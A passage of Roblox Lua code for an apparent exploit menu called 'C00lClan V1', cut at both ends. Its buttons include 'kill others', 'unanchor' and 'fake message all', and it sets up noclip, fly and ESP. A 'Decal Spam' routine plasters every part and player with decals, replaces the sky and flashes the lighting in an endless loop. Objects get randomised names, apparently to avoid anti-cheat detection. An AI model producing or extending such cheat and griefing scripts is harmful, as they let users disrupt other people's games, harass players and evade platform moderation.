G2L["32"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["32"]["BackgroundTransparency"] = 0.2;
G2L["32"]["Size"] = UDim2.new(0, 115, 0, 33);
G2L["32"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["32"]["Text"] = [[change avatar]];
G2L["32"]["Position"] = UDim2.new(0.35526, 0, 0.25123, 0);
-- StarterGui.ssst.Frame2.TextButton.Script
G2L["33"] = Instance.new("Script", G2L["32"]);
-- StarterGui.ssst.Frame2.TextButton
G2L["34"] = Instance.new("TextButton", G2L["22"]);
G2L["34"]["BorderSizePixel"] = 0;
G2L["34"]["TextSize"] = 14;
G2L["34"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["34"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["34"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["34"]["BackgroundTransparency"] = 0.2;
G2L["34"]["Size"] = UDim2.new(0, 115, 0, 33);
G2L["34"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["34"]["Text"] = [[explode]];
G2L["34"]["Position"] = UDim2.new(0.67445, 0, 0.25713, 0);
-- StarterGui.ssst.Frame2.TextButton.Script
G2L["35"] = Instance.new("Script", G2L["34"]);
-- StarterGui.ssst.Frame2.TextButton
G2L["36"] = Instance.new("TextButton", G2L["22"]);
G2L["36"]["BorderSizePixel"] = 0;
G2L["36"]["TextSize"] = 14;
G2L["36"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["36"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["36"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["36"]["BackgroundTransparency"] = 0.2;
G2L["36"]["Size"] = UDim2.new(0, 115, 0, 33);
G2L["36"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["36"]["Text"] = [[raining fire]];
G2L["36"]["Position"] = UDim2.new(0.04853, 0, 0.43285, 0);
-- StarterGui.ssst.Frame2.TextButton.Script
G2L["37"] = Instance.new("Script", G2L["36"]);
-- StarterGui.ssst.Frame2.TextButton
G2L["38"] = Instance.new("TextButton", G2L["22"]);
G2L["38"]["BorderSizePixel"] = 0;
G2L["38"]["TextSize"] = 14;
G2L["38"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["38"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["38"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["38"]["BackgroundTransparency"] = 0.2;
G2L["38"]["Size"] = UDim2.new(0, 115, 0, 33);
G2L["38"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["38"]["Text"] = [[rainbow all]];
G2L["38"]["Position"] = UDim2.new(0.35589, 0, 0.43204, 0);
-- StarterGui.ssst.Frame2.TextButton.Script
G2L["39"] = Instance.new("Script", G2L["38"]);
-- StarterGui.ssst.Frame2.TextButton
G2L["3a"] = Instance.new("TextButton", G2L["22"]);
G2L["3a"]["BorderSizePixel"] = 0;
G2L["3a"]["TextSize"] = 14;
G2L["3a"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["3a"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["3a"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["3a"]["BackgroundTransparency"] = 0.2;
G2L["3a"]["Size"] = UDim2.new(0, 115, 0, 33);
G2L["3a"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["3a"]["Text"] = [[message]];
G2L["3a"]["Position"] = UDim2.new(0.67496, 0, 0.43146, 0);
-- StarterGui.ssst.Frame2.TextButton.Script
G2L["3b"] = Instance.new("Script", G2L["3a"]);
-- StarterGui.ssst.Frame2.TextButton
G2L["3c"] = Instance.new("TextButton", G2L["22"]);
G2L["3c"]["BorderSizePixel"] = 0;
G2L["3c"]["TextSize"] = 14;
G2L["3c"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["3c"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["3c"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["3c"]["BackgroundTransparency"] = 0.2;
G2L["3c"]["Size"] = UDim2.new(0, 115, 0, 33);
G2L["3c"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["3c"]["Text"] = [[guns]];
G2L["3c"]["Position"] = UDim2.new(0.05271, 0, 0.60446, 0);
-- StarterGui.ssst.Frame2.TextButton.Script
G2L["3d"] = Instance.new("Script", G2L["3c"]);
-- StarterGui.ssst.Frame2.TextButton.LocalScript
G2L["3e"] = Instance.new("LocalScript", G2L["3c"]);
-- StarterGui.ssst.Frame2.TextButton.RemoteEvent
G2L["3f"] = Instance.new("RemoteEvent", G2L["3c"]);
-- StarterGui.ssst.Frame2.TextButton
G2L["40"] = Instance.new("TextButton", G2L["22"]);
G2L["40"]["BorderSizePixel"] = 0;
G2L["40"]["TextSize"] = 14;
G2L["40"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["40"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["40"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["40"]["BackgroundTransparency"] = 0.2;
G2L["40"]["Size"] = UDim2.new(0, 115, 0, 33);
G2L["40"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["40"]["Text"] = [[ball rain]];
G2L["40"]["Position"] = UDim2.new(0.35617, 0, 0.60594, 0);
-- StarterGui.ssst.Frame2.TextButton.Script
G2L["41"] = Instance.new("Script", G2L["40"]);
-- StarterGui.ssst.Frame2.TextButton
G2L["42"] = Instance.new("TextButton", G2L["22"]);
G2L["42"]["BorderSizePixel"] = 0;
G2L["42"]["TextSize"] = 14;
G2L["42"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["42"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["42"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["42"]["BackgroundTransparency"] = 0.2;
G2L["42"]["Size"] = UDim2.new(0, 115, 0, 33);
G2L["42"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["42"]["Text"] = [[unanchor]];
G2L["42"]["Position"] = UDim2.new(0.67097, 0, 0.59947, 0);
-- StarterGui.ssst.Frame2.TextButton.Script
G2L["43"] = Instance.new("Script", G2L["42"]);
-- StarterGui.ssst.Frame2.TextButton
G2L["44"] = Instance.new("TextButton", G2L["22"]);
G2L["44"]["BorderSizePixel"] = 0;
G2L["44"]["TextSize"] = 14;
G2L["44"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["44"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["44"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["44"]["BackgroundTransparency"] = 0.2;
G2L["44"]["Size"] = UDim2.new(0, 115, 0, 33);
G2L["44"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["44"]["Text"] = [[42 teleporter]];
G2L["44"]["Position"] = UDim2.new(0.05385, 0, 0.80265, 0);
-- StarterGui.ssst.Frame2.TextButton.Script
G2L["45"] = Instance.new("Script", G2L["44"]);
-- StarterGui.ssst.Frame2.TextButton.LocalScript
G2L["46"] = Instance.new("LocalScript", G2L["44"]);
-- StarterGui.ssst.Frame2.TextButton.RemoteEvent
G2L["47"] = Instance.new("RemoteEvent", G2L["44"]);
-- StarterGui.ssst.Frame2.TextButton
G2L["48"] = Instance.new("TextButton", G2L["22"]);
G2L["48"]["BorderSizePixel"] = 0;
G2L["48"]["TextSize"] = 14;
G2L["48"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["48"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["48"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["48"]["BackgroundTransparency"] = 0.2;
G2L["48"]["Size"] = UDim2.new(0, 115, 0, 33);
G2L["48"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["48"]["Text"] = [[fake message all]];
G2L["48"]["Position"] = UDim2.new(0.35698, 0, 0.79656, 0);
-- StarterGui.ssst.Frame2.TextButton.Script
G2L["49"] = Instance.new("Script", G2L["48"]);
-- StarterGui.ssst.Frame2.TextButton
G2L["4a"] = Instance.new("TextButton", G2L["22"]);
G2L["4a"]["BorderSizePixel"] = 0;
G2L["4a"]["TextSize"] = 14;
G2L["4a"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["4a"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["4a"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["4a"]["BackgroundTransparency"] = 0.2;
G2L["4a"]["Size"] = UDim2.new(0, 115, 0, 33);
G2L["4a"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["4a"]["Text"] = [[kill others]];
G2L["4a"]["Position"] = UDim2.new(0.67157, 0, 0.78135, 0);
-- StarterGui.ssst.Frame2.TextButton.Script
G2L["4b"] = Instance.new("Script", G2L["4a"]);
-- StarterGui.ssst.Frame.LocalScript
local function C_3()
local script = G2L["3"];
-- Made by Real_IceyDev (@lceyDex) --
-- Simple UI dragger (PC Only/Any device that has a mouse) --
local UIS = game:GetService('UserInputService')
local frame = script.Parent
local dragToggle = nil
local dragSpeed = 0.25
local dragStart = nil
local startPos = nil
local function updateInput(input)
local delta = input.Position - dragStart
local position = UDim2.new(startPos.X.Scale, startPos.X.Offset + delta.X,
startPos.Y.Scale, startPos.Y.Offset + delta.Y)
game:GetService('TweenService'):Create(frame, TweenInfo.new(dragSpeed), {Position = position}):Play()
end
frame.InputBegan:Connect(function(input)
if (input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch) then
dragToggle = true
dragStart = input.Position
startPos = frame.Position
input.Changed:Connect(function()
if input.UserInputState == Enum.UserInputState.End then
dragToggle = false
end
end)
end
end)
UIS.InputChanged:Connect(function(input)
if input.UserInputType == Enum.UserInputType.MouseMovement or input.UserInputType == Enum.UserInputType.Touch then
if dragToggle then
updateInput(input)
end
end
end)
end;
task.spawn(C_3);
-- StarterGui.ssst.Frame.TextButton.LocalScript
local function C_8()
local script = G2L["8"];
script.Parent.MouseButton1Click:Connect(function()
--Services
local Players = game:GetService("Players")
local Player = Players.LocalPlayer
local PlayerGui = Player:WaitForChild("PlayerGui")
local UserInputService = game:GetService("UserInputService")
local RunService = game:GetService("RunService")
local PhysicsService = game:GetService("PhysicsService")
local Character = Player.Character or Player.CharacterAdded:Wait()
local Humanoid = Character:WaitForChild("Humanoid")
local HRP = Character:WaitForChild("HumanoidRootPart")
local Mouse = Player:GetMouse()
local CollectionService = game:GetService("CollectionService")
local RunService = game:GetService("RunService")
local TeleportService = game:GetService("TeleportService")
local HttpService = game:GetService("HttpService")
local TweenService = game:GetService("TweenService")
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local MarketplaceService = game:GetService("MarketplaceService")
local StarterGui = game:GetService("StarterGui")
local Debris = game:GetService("Debris")
local Lighting = game:GetService("Lighting")
local SoundService = game:GetService("SoundService")
local player = Player
local PlaceId = game.PlaceId
local JobId = game.JobId
--settings
local infjump = false
local invisRunning = false
local noclipOn = false
local noclipConn
local hoverHeight
local bindFrame, bindConn, waitingBindFunction
local customBinds = {}
local infJumpEnabled = false
local infJumpConnection = nil
local espOn = false
local spinOn = false
local spinBAV, lockBP
local savedCFrame
local invisRunning = false
local InvisibleCharacter = nil
local OriginalCharacter = nil
local voidConn = nil
local flyingEnabled = false
local invisRunning = false
local flyBG, flyBV, flyConn
local ray = workspace.CurrentCamera:ScreenPointToRay(Mouse.X, Mouse.Y)
local hit, pos = workspace:FindPartOnRay(ray, Character)
--GUI settings
local GUI_WIDTH = 400
local GUI_HEIGHT = 320
local TITLE_HEIGHT = 30
local NAV_HEIGHT = 30
local FOOTER_HEIGHT = 30
local GRID_PADDING = 4
local GRID_COLUMNS = 4
math.randomseed(os.time())
local character_set = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
local string_sub = string.sub
local math_random = math.random
local table_concat = table.concat
local character_set_amount = #character_set
local number_one = 1
local default_length = 10
local function generate_string(length)
local random_string = {}
for int = number_one, length or default_length do
local random_number = math_random(number_one, character_set_amount)
local character = string_sub(character_set, random_number, random_number)
random_string[#random_string + number_one] = character
end
return table_concat(random_string)
end
-- Function manager with descriptions
local FunctionManager = {
CategorizedFunctions = { All = {} },
Categories = { "All" },
CurrentCategoryIndex= 1,
Descriptions = {},
ISFE = {},
OnFunctionAdded = Instance.new("BindableEvent"),
}
function FunctionManager:register(name, callback, category, description, FE)
category = category or "General"
if not self.CategorizedFunctions[category] then
self.CategorizedFunctions[category] = {}
table.insert(self.Categories, category)
end
self.CategorizedFunctions[category][name] = callback
self.CategorizedFunctions.All[name] = callback
self.Descriptions[name] = description or ""
self.ISFE[name] = FE or "yes"
if description == "NOT FE" then
self.ISFE[name] = "no"
end
self.OnFunctionAdded:Fire(category, name, callback)
self.OnFunctionAdded:Fire("All", name, callback)
end
function FunctionManager:getCurrentCategory()
return self.Categories[self.CurrentCategoryIndex]
end
function FunctionManager:cycleCategory()
self.CurrentCategoryIndex = self.CurrentCategoryIndex % #self.Categories + 1
return self:getCurrentCategory()
end
local screenGui = Instance.new("ScreenGui")
screenGui.Name = generate_string(math_random(1, 10))
local die = screenGui.Name
screenGui.ResetOnSpawn= false
screenGui.Parent = PlayerGui
local notificationContainer = Instance.new("Frame")
notificationContainer.Name = "NotificationContainer"
notificationContainer.Size = UDim2.new(1, 0, 1, 0)
notificationContainer.Position = UDim2.new(0, 0, 0, 0)
notificationContainer.BackgroundTransparency = 1
notificationContainer.ZIndex = 100
notificationContainer.Parent = screenGui
local function Notify(text, title, duration)
duration = duration or 4
local frame = Instance.new("Frame")
frame.AnchorPoint = Vector2.new(1, 1)
frame.Size = UDim2.new(0, 300, 0, 70)
frame.Position = UDim2.new(1, 320, 1, -10)
frame.BackgroundColor3 = Color3.fromRGB(40, 0, 0)
frame.BackgroundTransparency = 0
frame.BorderSizePixel = 0
frame.ZIndex = 200
frame.Parent = notificationContainer
local titleLabel = Instance.new("TextLabel")
titleLabel.BackgroundTransparency = 1
titleLabel.Size = UDim2.new(1, -10, 0, 24)
titleLabel.Position = UDim2.new(0, 5, 0, 4)
titleLabel.Font = Enum.Font.SourceSansBold
titleLabel.Text = title or "Notice"
titleLabel.TextColor3 = Color3.new(1, 1, 1)
titleLabel.TextSize = 18
titleLabel.TextXAlignment = Enum.TextXAlignment.Left
titleLabel.ZIndex = 201
titleLabel.Parent = frame
local bodyLabel = Instance.new("TextLabel")
bodyLabel.BackgroundTransparency = 1
bodyLabel.Size = UDim2.new(1, -10, 1, -30)
bodyLabel.Position = UDim2.new(0, 5, 0, 28)
bodyLabel.Font = Enum.Font.SourceSans
bodyLabel.Text = text or ""
bodyLabel.TextColor3 = Color3.new(1, 1, 1)
bodyLabel.TextSize = 14
bodyLabel.TextWrapped = true
bodyLabel.TextXAlignment = Enum.TextXAlignment.Left
bodyLabel.ZIndex = 201
bodyLabel.Parent = frame
task.defer(function()
local slideIn = TweenService:Create(frame, TweenInfo.new(0.3, Enum.EasingStyle.Quad, Enum.EasingDirection.Out), {
Position = UDim2.new(1, -10, 1, -10)
})
slideIn:Play()
end)
task.delay(duration, function()
local fadeOut = TweenService:Create(frame, TweenInfo.new(0.3), {
BackgroundTransparency = 1,
Position = UDim2.new(1, 320, 1, -10)
})
local titleFade = TweenService:Create(titleLabel, TweenInfo.new(0.3), {TextTransparency = 1})
local bodyFade = TweenService:Create(bodyLabel, TweenInfo.new(0.3), {TextTransparency = 1})
fadeOut:Play()
titleFade:Play()
bodyFade:Play()
fadeOut.Completed:Wait()
frame:Destroy()
end)
end
local notificationLayout = Instance.new("UIListLayout")
notificationLayout.SortOrder = Enum.SortOrder.LayoutOrder
notificationLayout.Padding = UDim.new(0, 6)
notificationLayout.HorizontalAlignment = Enum.HorizontalAlignment.Right
notificationLayout.VerticalAlignment = Enum.VerticalAlignment.Bottom
notificationLayout.Parent = notificationContainer
Notify("Welcome to C00lClan!", "Have fun!", 3)
-- Main frame
local mainFrame = Instance.new("Frame")
mainFrame.Name = generate_string(math_random(1, 10))
mainFrame.Size = UDim2.new(0, GUI_WIDTH, 0, GUI_HEIGHT)
mainFrame.Position = UDim2.new(0.5, -GUI_WIDTH/2, 0.5, -GUI_HEIGHT/2)
mainFrame.BackgroundColor3= Color3.fromRGB(25, 5, 5)
mainFrame.BorderSizePixel = 0
mainFrame.Parent = screenGui
-- Tooltip
local tooltip = Instance.new("TextLabel", screenGui)
tooltip.Name = generate_string(math_random(1, 10))
tooltip.Size = UDim2.new(0, 200, 0, 40)
tooltip.BackgroundColor3 = Color3.fromRGB(30,30,30)
tooltip.BorderSizePixel = 0
tooltip.Visible = false
tooltip.ZIndex = 100
tooltip.ClipsDescendants = false
tooltip.TextColor3 = Color3.fromRGB(255, 255, 255)
tooltip.TextWrapped = true
-- Title bar
local titleBar = Instance.new("Frame", mainFrame)
titleBar.Name = generate_string(math_random(1, 10))
titleBar.Size = UDim2.new(1,0,0,TITLE_HEIGHT)
titleBar.BackgroundColor3 = Color3.fromRGB(60,0,0)
titleBar.BorderSizePixel = 0
local titleLabel = Instance.new("TextLabel", titleBar)
titleLabel.Size = UDim2.new(1,-60,1,0)
titleLabel.Position = UDim2.new(0,4,0,0)
titleLabel.BackgroundTransparency = 1
titleLabel.Text = "C00LCLAN V1"
titleLabel.Font = Enum.Font.SourceSansBold
titleLabel.TextSize = 18
titleLabel.TextColor3 = Color3.new(1,1,1)
titleLabel.TextXAlignment = Enum.TextXAlignment.Left
titleLabel.Name = generate_string(math_random(1, 10))
local minBtn = Instance.new("TextButton", titleBar)
minBtn.Name = generate_string(math_random(1, 10))
minBtn.Size = UDim2.new(0,30,1,0)
minBtn.Position = UDim2.new(1,-30,0,0)
minBtn.Text = "_"
minBtn.Font = Enum.Font.SourceSansBold
minBtn.TextSize = 18
minBtn.TextColor3 = Color3.new(1,1,1)
minBtn.BackgroundColor3 = Color3.fromRGB(80,10,10)
minBtn.BorderSizePixel = 0
-- Drag logic
local dragging, dragInput, dragStart, startPos = false, nil
local function updateDrag(input)
local delta = input.Position - dragStart
mainFrame.Position = startPos + UDim2.new(0, delta.X, 0, delta.Y)
end
titleBar.InputBegan:Connect(function(i)
if i.UserInputType==Enum.UserInputType.MouseButton1 then
dragging, dragStart, startPos = true, i.Position, mainFrame.Position
i.Changed:Connect(function()
if i.UserInputState==Enum.UserInputState.End then dragging=false end
end)
end
end)
titleBar.InputChanged:Connect(function(i)
if i.UserInputType==Enum.UserInputType.MouseMovement then dragInput=i end
end)
UserInputService.InputChanged:Connect(function(i)
if i==dragInput and dragging then updateDrag(i) end
end)
-- Category nav
local catNav = Instance.new("Frame", mainFrame)
catNav.Name = generate_string(math_random(1, 10))
catNav.Size = UDim2.new(1,0,0,NAV_HEIGHT)
catNav.Position = UDim2.new(0,0,0,TITLE_HEIGHT)
catNav.BackgroundTransparency = 1
local leftCat = Instance.new("TextButton", catNav)
leftCat.Size = UDim2.new(0,50,1,0)
leftCat.Text = "<"
leftCat.Font = Enum.Font.SourceSansBold
leftCat.TextSize = 24
leftCat.TextColor3 = Color3.new(1,1,1)
leftCat.BackgroundColor3 = Color3.fromRGB(100,0,0)
leftCat.BorderSizePixel = 0
leftCat.Name = generate_string(math_random(1, 10))
local catLabel = Instance.new("TextLabel", catNav)
catLabel.Size = UDim2.new(1,-100,1,0)
catLabel.Position = UDim2.new(0,50,0,0)
catLabel.BackgroundTransparency = 1
catLabel.Text = "All"
catLabel.Font = Enum.Font.SourceSansBold
catLabel.TextSize = 18
catLabel.TextColor3 = Color3.new(1,1,1)
catNav.Name = generate_string(math_random(1, 10))
local rightCat = leftCat:Clone()
rightCat.Parent = catNav
rightCat.Position = UDim2.new(1,-50,0,0)
rightCat.Text = ">"
rightCat.Name = generate_string(math_random(1, 10))
-- Grid
local gridFrame = Instance.new("ScrollingFrame", mainFrame)
gridFrame.Name = generate_string(math_random(1, 10))
gridFrame.ClipsDescendants= true
gridFrame.Size = UDim2.new(1,-2*GRID_PADDING,0,GUI_HEIGHT-TITLE_HEIGHT-NAV_HEIGHT-FOOTER_HEIGHT-2*GRID_PADDING)
gridFrame.Position = UDim2.new(0,GRID_PADDING,0,TITLE_HEIGHT+NAV_HEIGHT+GRID_PADDING)
gridFrame.BackgroundTransparency = 1
local gridLayout = Instance.new("UIGridLayout", gridFrame)
gridLayout.Name = generate_string(math_random(1, 10))
gridLayout.CellSize = UDim2.new(0,(GUI_WIDTH-2*GRID_PADDING-(GRID_COLUMNS-1)*GRID_PADDING)/GRID_COLUMNS,0,40)
gridLayout.CellPadding = UDim2.new(0,GRID_PADDING,0,GRID_PADDING)
gridLayout.SortOrder = Enum.SortOrder.LayoutOrder
-- Footer
local footer = Instance.new("Frame", mainFrame)
footer.Name = generate_string(math_random(1, 10))
footer.Size = UDim2.new(1,0,0,FOOTER_HEIGHT)
footer.Position = UDim2.new(0,0,1,-FOOTER_HEIGHT)
footer.BackgroundTransparency = 1
local closeBtn = Instance.new("TextButton", footer)
closeBtn.Size = UDim2.new(1,0,1,0)
closeBtn.Text = "Close"
closeBtn.Font = Enum.Font.SourceSansBold
closeBtn.TextSize = 18
closeBtn.TextColor3 = Color3.new(1,1,1)
closeBtn.BackgroundColor3 = Color3.fromRGB(100,0,0)
closeBtn.BorderSizePixel = 0
closeBtn.Name = generate_string(math_random(1, 10))
-- Minimize toggle
local minimized = false
minBtn.MouseButton1Click:Connect(function()
minimized = not minimized
if minimized == true then
mainFrame.BackgroundTransparency = 1
else
mainFrame.BackgroundTransparency = 0
end
gridFrame.Visible = not minimized
catNav.Visible = not minimized
footer.Visible = not minimized
minBtn.Text = minimized and "◻" or "_"
end)
local function NotifyERROR(text)
Notify(text, "ERROR", 3)
end
-- Build the grid and tooltips
local function updateGrid()
for _, c in ipairs(gridFrame:GetChildren()) do
if c:IsA("TextButton") then c:Destroy() end
end
local cat = FunctionManager:getCurrentCategory()
catLabel.Text = cat
for name, cb in pairs(FunctionManager.CategorizedFunctions[cat]) do
local btn = Instance.new("TextButton")
local isFE = FunctionManager.ISFE[name]
btn.Size = UDim2.new(1,0,0,40)
btn.BackgroundColor3 = Color3.fromRGB(70,10,10)
btn.BorderSizePixel = 0
btn.Font = Enum.Font.SourceSansBold
btn.TextSize = 16
btn.TextColor3 = Color3.new(1,1,1)
btn.Text = name
btn.TextWrapped = true
btn.Parent = gridFrame
btn.Name = generate_string(math_random(1, 10))
if isFE == "no" then
btn.BackgroundColor3 = Color3.fromRGB(72, 100, 87)
end
-- tooltip
local desc = FunctionManager.Descriptions[name]
btn.MouseMoved:Connect(function()
if desc ~= "" and desc ~= nil then
tooltip.Text = desc
tooltip.Position = UDim2.new(0,Mouse.X,0,Mouse.Y - tooltip.Size.Y.Offset - 4)
tooltip.Visible = true
end
end)
btn.MouseLeave:Connect(function() tooltip.Visible = false end)
btn.MouseButton1Click:Connect(function()
pcall(cb)
end)
end
end
local logo = Instance.new("ImageLabel")
logo.Name = generate_string(math_random(1, 10))
logo.BackgroundTransparency = 1
logo.Size = UDim2.new(1, 0, 0, 100)
logo.Position = UDim2.new(0, -50, 0, -100)
logo.Image = "rbxassetid://87486058304609"
logo.ScaleType = Enum.ScaleType.Fit
logo.Parent = mainFrame
-- nav buttons
leftCat.MouseButton1Click:Connect(function()
FunctionManager.CurrentCategoryIndex = (FunctionManager.CurrentCategoryIndex - 2) % #FunctionManager.Categories + 1
updateGrid()
end)
rightCat.MouseButton1Click:Connect(function()
FunctionManager:cycleCategory()
updateGrid()
end)
closeBtn.MouseButton1Click:Connect(function()
screenGui:Destroy()
end)
FunctionManager.OnFunctionAdded.Event:Connect(updateGrid)
-- Initialize
updateGrid()
FunctionManager:register("Decal Spam", function()
local decalID = 8408806737
local function exPro(root)
for _, v in pairs(root:GetChildren()) do
if v:IsA("Decal") and v.Texture ~= "http://www.roblox.com/asset/?id="..decalID then
v.Parent = nil
elseif v:IsA("BasePart") then
v.Material = "Plastic"
v.Transparency = 0
local One = Instance.new("Decal", v)
local Two = Instance.new("Decal", v)
local Three = Instance.new("Decal", v)
local Four = Instance.new("Decal", v)
local Five = Instance.new("Decal", v)
local Six = Instance.new("Decal", v)
One.Texture = "http://www.roblox.com/asset/?id="..decalID
Two.Texture = "http://www.roblox.com/asset/?id="..decalID
Three.Texture = "http://www.roblox.com/asset/?id="..decalID
Four.Texture = "http://www.roblox.com/asset/?id="..decalID
Five.Texture = "http://www.roblox.com/asset/?id="..decalID
Six.Texture = "http://www.roblox.com/asset/?id="..decalID
One.Face = "Front"
Two.Face = "Back"
Three.Face = "Right"
Four.Face = "Left"
Five.Face = "Top"
Six.Face = "Bottom"
end
exPro(v)
end
end
local function asdf(root)
for _, v in pairs(root:GetChildren()) do
asdf(v)
end
end
exPro(game.Workspace)
asdf(game.Workspace)
local s = Instance.new("Sky")
s.Name = "Sky"
s.Parent = game.Lighting
local skyboxID = 8408806737
s.SkyboxBk = "http://www.roblox.com/asset/?id="..skyboxID
s.SkyboxDn = "http://www.roblox.com/asset/?id="..skyboxID
s.SkyboxFt = "http://www.roblox.com/asset/?id="..skyboxID
s.SkyboxLf = "http://www.roblox.com/asset/?id="..skyboxID
s.SkyboxRt = "http://www.roblox.com/asset/?id="..skyboxID
s.SkyboxUp = "http://www.roblox.com/asset/?id="..skyboxID
game.Lighting.TimeOfDay = 12
for i, v in pairs(game.Players:GetChildren()) do
local emit = Instance.new("ParticleEmitter")
emit.Parent = v.Character.Torso
emit.Texture = "http://www.roblox.com/asset/?id=8408806737"
emit.VelocitySpread = 20
end
for i, v in pairs(game.Players:GetChildren()) do
local emit = Instance.new("ParticleEmitter")
emit.Parent = v.Character.Torso
emit.Texture = "http://www.roblox.com/asset/?id=8408806737"
emit.VelocitySpread = 20
end
for i, v in pairs(game.Players:GetChildren()) do
local emit = Instance.new("ParticleEmitter")
emit.Parent = v.Character.Torso
emit.Texture = "http://www.roblox.com/asset/?id=8408806737"
emit.VelocitySpread = 20
end
while true do
game.Lighting.Ambient = Color3.new(math.random() , math.random() , math.random())
wait(0.2)
game.Lighting.ShadowColor = Color3.new(math.random() , math.random() , math.random())
wait(0.2)
end
end, "Troll", "NOT FE")
FunctionManager:register("JOHN DOE", function()
local redSkyboxAssetId = "rbxassetid://1012887"
local sky = Lighting:FindFirstChildOfClass("Sky")
if not sky then
sky = Instance.new("Sky", Lighting)
end
sky.SkyboxBk = redSkyboxAssetId
sky.SkyboxDn = redSkyboxAssetId
sky.SkyboxFt = redSkyboxAssetId
sky.SkyboxLf = redSkyboxAssetId
sky.SkyboxRt = redSkyboxAssetId
sky.SkyboxUp = redSkyboxAssetId
if not ReplicatedStorage:FindFirstChild("juisdfj0i32i0eidsuf0iok") then
local detection = Instance.new("Decal")
detection.Name = "juisdfj0i32i0eidsuf0iok"
detection.Parent = ReplicatedStorage
end
local screenGui = Instance.new("ScreenGui")
screenGui.Name = "PersistentSoundGui"
screenGui.ResetOnSpawn = false
screenGui.Parent = player:WaitForChild("PlayerGui")
local button = Instance.new("TextButton")
button.Size = UDim2.new(0, 150, 0, 50)
button.Position = UDim2.new(0.02, 0, 0.477, 0)
button.Text = "Sound Toggle"
button.Font = Enum.Font.SourceSansBold
button.TextSize = 20
button.BackgroundColor3 = Color3.fromRGB(50, 50, 50)
button.TextColor3 = Color3.new(1, 1, 1)
button.Parent = screenGui
local backgroundSound = SoundService:FindFirstChild("PersistentBGSound")
if not backgroundSound then
backgroundSound = Instance.new("Sound")
backgroundSound.Name = "PersistentBGSound"
backgroundSound.SoundId = "rbxassetid://19094700"
backgroundSound.PlaybackSpeed = 0.221
backgroundSound.Looped = true
backgroundSound.Volume = 1
backgroundSound.Parent = SoundService
backgroundSound:Play()
end
button.Activated:Connect(function()
backgroundSound.Playing = not backgroundSound.Playing
end)
local function setupCharacter(character)
local humanoid = character:WaitForChild("Humanoid")
local torso = character:WaitForChild("Torso")
local hrp = character:WaitForChild("HumanoidRootPart")
local tool = Instance.new("Tool")
tool.Name = "Slash"
tool.RequiresHandle = false
tool.Parent = player.Backpack
tool.Activated:Connect(function()
local animation = Instance.new("Animation")
animation.AnimationId = "rbxassetid://186934658"
local track = humanoid:LoadAnimation(animation)
track:Play()
track:AdjustSpeed(2)
local s = Instance.new("Sound", torso)
s.SoundId = "rbxassetid://28144425"
s:Play()
task.wait(0.2)
local s2 = Instance.new("Sound", torso)
s2.SoundId = "rbxassetid://429400881"
s2.Volume = 0.2
s2:Play()
end)
local naeeym = Instance.new("BillboardGui", character)
naeeym.Size = UDim2.new(0, 100, 0, 40)
naeeym.StudsOffset = Vector3.new(0, 2, 0)
